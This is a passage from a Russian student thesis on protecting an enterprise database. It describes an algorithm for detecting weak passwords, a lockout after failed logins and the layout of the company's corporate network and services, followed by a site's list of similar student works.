Примером подобного рода программ может быть утилита Password Recovery Toolkit(PRTK), Office Password Recovery Master, PasswordsPro. Например, PRTK проверяет пароль для приложений Microsoft Office до 350 тыс. вариантов в секунду (на процессоре Pentium 4 с частотой 3 ГГц), пароль на WinZip 7.0 - более миллиона вариантов в секунду, WinZip 9.0(криптосистема которого значительно улучшена) - 900 вариантов в секунду.
Безопасность пароля зависит от двух факторов: от способности системы замедлять перебор паролей и от того, является ли пароль «более очевидным» с точки зрения программы-взломщика[27].
Скорость подбора пароля напрямую зависит от того, каким образом этот пароль обрабатывается программой.
Исходя из всего вышесказанного, был сделан вывод о том, какие должны быть пароли, и составлен алгоритм выявления так называемых «слабых» паролей пользователей, чтобы усложнить, а в некоторых случаях сделать практически нереальным подбор. В результате в соответствии с ПИБ[29, c.54] был разработан алгоритм.
Алгоритм выявления слабых паролей:
1. первым шагом будет увеличение длины пароля: пусть минимальная длина пароля составляет восемь символов;
2. присутствуют буквы английского и русского алфавитов разных регистров, цифры, спецсимволы;
3. пароль, введенный пользователем, не должен содержаться в словарях
4. пароль, введенный пользователем, переведенный в один регистр, не должен содержаться в словарях;
5. пароль, введенный пользователем, при включенном «CapsLock», не должен содержаться в словарях;
6. пароль, введенный пользователем, при включенной иной раскладке выбранного языка, не должен содержаться в словарях;
7. исключить все цифры и специальные символы и снова на пункт 3;
предположим, есть пароль «pass12345woRd_»: длина пароля больше семи символов, в пароле присутствуют буквы разных регистров и цифры, также присутствуют спецсимволы, но слабое место такого пароля это только то, что, удалив все цифры и спецсимволы, а также, переведя все оставшиеся символы в один регистр, получим словарное слово - «password»;
8. заменить цифры на похожие буквы (специальные символы) или наоборот («kakTyc» -«k@kTyc», «freedom»- «сВ06oda», «s»= «$»), и на пункт 3; здесь должна быть создана таблица замен;
9. заменять несколько идущих подряд символов одним символом (до нескольких операций
«wiiindoWss» >«wiindoWss» > «windoWss» > «windowss» >«windows») и на пункт 3;
10. осуществить фонетические замены
«x» = «ks», «th» = «f», «oo» = «00» = «u»
11. можно усилить имеющийся алгоритм одним условием: знаки 1,i,l,2,z,3,e,4,a,5,s,6,d, 7,8,b,9,g,0,o,+,t будут вырезаться; конечно, вместе с этим не пройдут проверку множество сравнительно надежных паролей, но пароль «password» после обработки будет выглядеть как «pwr». Кстати, пароли «power» и «powered» так же будут выглядеть после такой обработки;
12. пароль, введенный пользователем и модификации его (пункты 4-11), не должны содержаться в словарях.
Сам пароль и каждая последующая его модификация запоминаются в массив, элементы которого в последствии (пункт 12 алгоритма) ищутся в словарях.
В качестве словарей используются словари русского и английского языков, из которых предварительно были удалены слова, длиной меньше восьми символов.
Плюс к алгоритму выявления добавляется отсекание попыток подбора паролей злоумышленником. То есть, если все-таки злоумышленник нашел лазейку для подбора паролей, то дополнительной защитой будет организация учета неправильных попыток ввода паролей. Например, человек просто физически не сможет за минуту совершить 100 попыток регистрации. Для защиты от такого рода атак, создается специальная таблица в базе данных, которая будет отслеживать количество неудачных попыток аутентификации пользователей. Как только пользователь ввел более трех таких попыток, приложение блокирует аутентифика-ционные поля ввода на три минуты. Такой способ позволит затормозить процедуру подбора злоумышленником паролей. На рисунке 4.23 изображена блок-схема алгоритма выявления слабых паролей, которая разработана с помощью программного продукта Microsoft Visio.
Рисунок 4.23 - Блок-схема алгоритма выявления слабого пароля
Выводы
Таким образом, разработано корпоративное приложение, которое обеспечивает защищенное взаимодействие пользователя с базой данных. Защищенное взаимодействие через прикладное программное обеспечение обеспечивается с помощью таких средств как аутентификация, авторизация, разграничение прав доступа к данным (обеспечивается ролевой доступ к данным), ведется контроль целостности как входной, так и выходной информации, соблюдение сохранности данных. Программа также отслеживает и ведет журналирование событий, происходящих в системе, реализован централизованный материальный учет, информационное отслеживание полного жизненного цикла средств ВТ, предоставление информационно-справочной системы, позволяющей анализировать информацию по различным критериям. Разработан механизм усиления защиты с помощью выявления неустойчивых к подбору паролей, что является механизмом защиты от программ-bruteforce.
В заключении стоит отметить, что прикладное программное обеспечение обеспечивает необходимый уровень защищенности информации, соответствующий требованиям предприятия - заказчика.
5. Защита сетевых ресурсов
Третьим уровнем, защиту которого необходимо реализовать является защита базы данных на уровне сетевого взаимодействия (рисунок 5.1).
Рисунок 5.1 - Уровни защиты базы данных
Все большее число предприятий включают в свои бизнес-процессы использование корпоративного web-сервера и сервера баз данных. Глобально можно выделить два варианта их использования. Первый - для внутреннего применения: снижение затрат на разработку и поддержку, обуславливает перенос внутрифирменного программного обеспечения (системы CRM, учетные и бухгалтерские программы и т.д.) на web-платформу; перенос баз данных, используемых для web-приложений и локальных задач, на выделенный сервер баз данных. Второй - для предоставления информационных услуг внешним клиентам. Здесь могут быть самые разнообразные варианты, начиная от сервисов заказов и проверки наличия товаров на складе, до системы технической поддержи продукции компании. Обычно используется совместная реализация web-сервера и сервера баз данных для этих двух вариантов одновременно. В главе рассмотрены принципы построения и внутренние документы предприятия.
5.1 Применение КВС
Если не вдаваться в частности, то конечной целью использования вычислительных сетей на предприятии является повышение эффективности его работы, которое может выражаться, например, в увеличении прибыли предприятия. Действительно, если благодаря компьютеризации снизились затраты на производство уже существующего продукта, сократились сроки разработки новой модели или с увеличением объема работы штат сотрудников остался прежний - это означает, что данному предприятию действительно нужна была сеть.
Использование территориально распределенных вычислительных средств больше соответствует распределенному характеру прикладных задач в некоторых предметных областях, таких как ОАО «НАПО им. В.П.Чкалова». Во всех этих случаях имеются рассредоточенные по некоторой территории отдельные создатели-потребители информации. Эти потребители автономно решают свои задачи, поэтому рациональнее предоставлять им собственные вычислительные средства, но в то же время, поскольку решаемые ими задачи тесно взаимосвязаны, их вычислительные средства должны быть объединены в единую систему. Адекватным решением в такой ситуации является использование вычислительной сети.
Вся корпоративная сеть предприятия разделена на локальные вычислительные сети (ЛВС), внутри которых компьютеры объединены по топологии звезда. Сеть выдвигает несколько большие требования к пользователю, нежели просто отдельно стоящий компьютер. Также необходимо упомянуть об уровне, не входящем в модель сетевого взаимодействия, лежащем ниже в представленной иерархии - это инженерные сооружения призванные обеспечить условия приемлемые для функционирования всех сетевых уровней. В это понятие входят электропитание и климатические системы.
К сегодняшнему дню подавляющее большинство ЛВС модернизированы и работают со скоростью 100 Mbit/s (рисунок 5.2).
Рисунок 5.2 -КВС предприятия
Для организации работы пользователей в сети все они разделены на 4 группы по направлениям их деятельности - домены. Для организации слаженного и прозрачного обмена информацией между различными доменами организован корневой домен Все остальные домены являются подчиненными. Внутри доменов также есть так называемые серверы приложений. Наладку и управление каждого домена осуществляет администратор домена.
По сути контроллер домена является обычным сервером с установленным на него специализированным программным обеспечением для идентификации пользователей. Между всеми серверами налажено взаимодействие для определения разрешен ли доступ того или иного пользователя к тому или иному ресурсу или услуге сети. Наладку и управление каждого сервера осуществляет администратор сервера.
На сегодняшний день в КВС реализованы и активно работают следующие сервисы:
1. Централизованное хранение рабочих файлов и баз данных. Это позволяет обеспечить каждому пользователю повышенную доступность своих данных. Пользователь не зависит от поломок персонального компьютера, также он может воспользоваться своей информацией, находясь в другом подразделении, компьютеры которого подключены к КВС. Также централизованное хранение позволяет обеспечить большую надежность хранимой информации и её резервное копирование.
2. Совместное использование баз данных. Этот сервис непосредственно позволяет распараллеливать обработку данных и ускорить обмен информацией между подразделениями.
3. Служба внутризаводской электронной почты. По сути, этот сервис может стать заменой написанию каких либо служебных записок, запросов, писем и т. д. внутри предприятия. Это сэкономит время доставки документов, бумагу и расходные материалы. Весьма полезной была служба электронной почты для пользователей заводоуправления, когда произошел обрыв телефонного кабеля. К сожалению этот механизм пока мало применим к серьезным документам где требуется подпись отправителя, так как не внедрена система электронной подписи.
4. Внутризаводской портал. Этот сервис служит для удобного и прозрачного доступа к открытой информации всем пользователям КВС. Это очень перспективный на мой взгляд сервис сети. На данный момент там представлены: Адресная книга внутризаводской почты, некоторые выпуски Информ-НАПО, информация о составе и функционировании непосредственно КВС ЭВМ НАПО, внутризаводские положения и должностные инструкции, достаточно широкий набор нормативно-технической документации.
Подобные документы
- Создание защищенного приложения для ведения учета продаж и закупок, ориентированного на малый бизнес
Проектирование модели базы данных в соответствии с предметной областью "Торговля". Разработка архитектуры системы безопасности приложения по ведению базы данных. Реализация приложения, обеспечивающего учет продаж и закупок предприятия. Способы его защиты.
дипломная работа [2,5 M], добавлен 05.02.2017 Проектирование и создание информационной базы данных для управления предприятием "Завод металлоизделий". Данные для базы, предметная область, атрибуты объектов базы данных. Объектные отношения, их ключи, связи объектов и отношений базы данных предприятия.
реферат [26,9 K], добавлен 04.12.2009Схема взаимодействия подразделений предприятия. Выбор и обоснование технологии проектирования базы данных. Описание объектов базы данных. Разработка запросов на выборку, изменение, обновление и удаление данных. Интерфейсы взаимодействия с базой данных.
курсовая работа [1,4 M], добавлен 25.05.2023Предпосылки создания системы безопасности персональных данных. Угрозы информационной безопасности. Источники несанкционированного доступа в ИСПДн. Устройство информационных систем персональных данных. Средства защиты информации. Политика безопасности.
курсовая работа [319,1 K], добавлен 07.10.2016Законодательные основы защиты персональных данных. Классификация угроз информационной безопасности. База персональных данных. Устройство и угрозы ЛВС предприятия. Основные программные и аппаратные средства защиты ПЭВМ. Базовая политика безопасности.
дипломная работа [2,5 M], добавлен 10.06.2011Разработка базы данных для информационной поддержки деятельности аптеки с целью автоматизированного ведения данных о лекарствах аптеки. Проектирование схемы базы данных с помощью средства разработки структуры базы данных Microsoft SQL Server 2008.
курсовая работа [3,6 M], добавлен 18.06.2012Разработка приложения, позволяющего автоматизировать документооборот предприятия по списанию основных средств. Мероприятия по защите и обеспечению целостности базы данных. Разработка клиентского приложения. Запросы к базе данных, руководство пользователя.
курсовая работа [700,0 K], добавлен 14.01.2015Определение понятия и общее описание базы данных как упорядоченной информационной системы на носителе информации. Описание предметной области и разработка приложения базы данных, содержащей информацию о расписании занятий, для преподавателей кафедры.
курсовая работа [1,3 M], добавлен 08.08.2012Создание базы данных для небольшого предприятия, занимающегося ремонтом бытовой техники. Анализ и характеристика предметной области, входных и выходных данных. Разработка конфигурации в системе "1С:Предприятие 8.2" и функциональной части приложения.
контрольная работа [2,4 M], добавлен 26.05.2014Описание предметной области разрабатываемой базы данных для теннисного клуба. Обоснование выбора CASE-средства Erwin 8 и MS Access для проектирования базы данных. Построение инфологической модели и логической структуры базы данных, разработка интерфейса.
курсовая работа [3,8 M], добавлен 02.02.2014
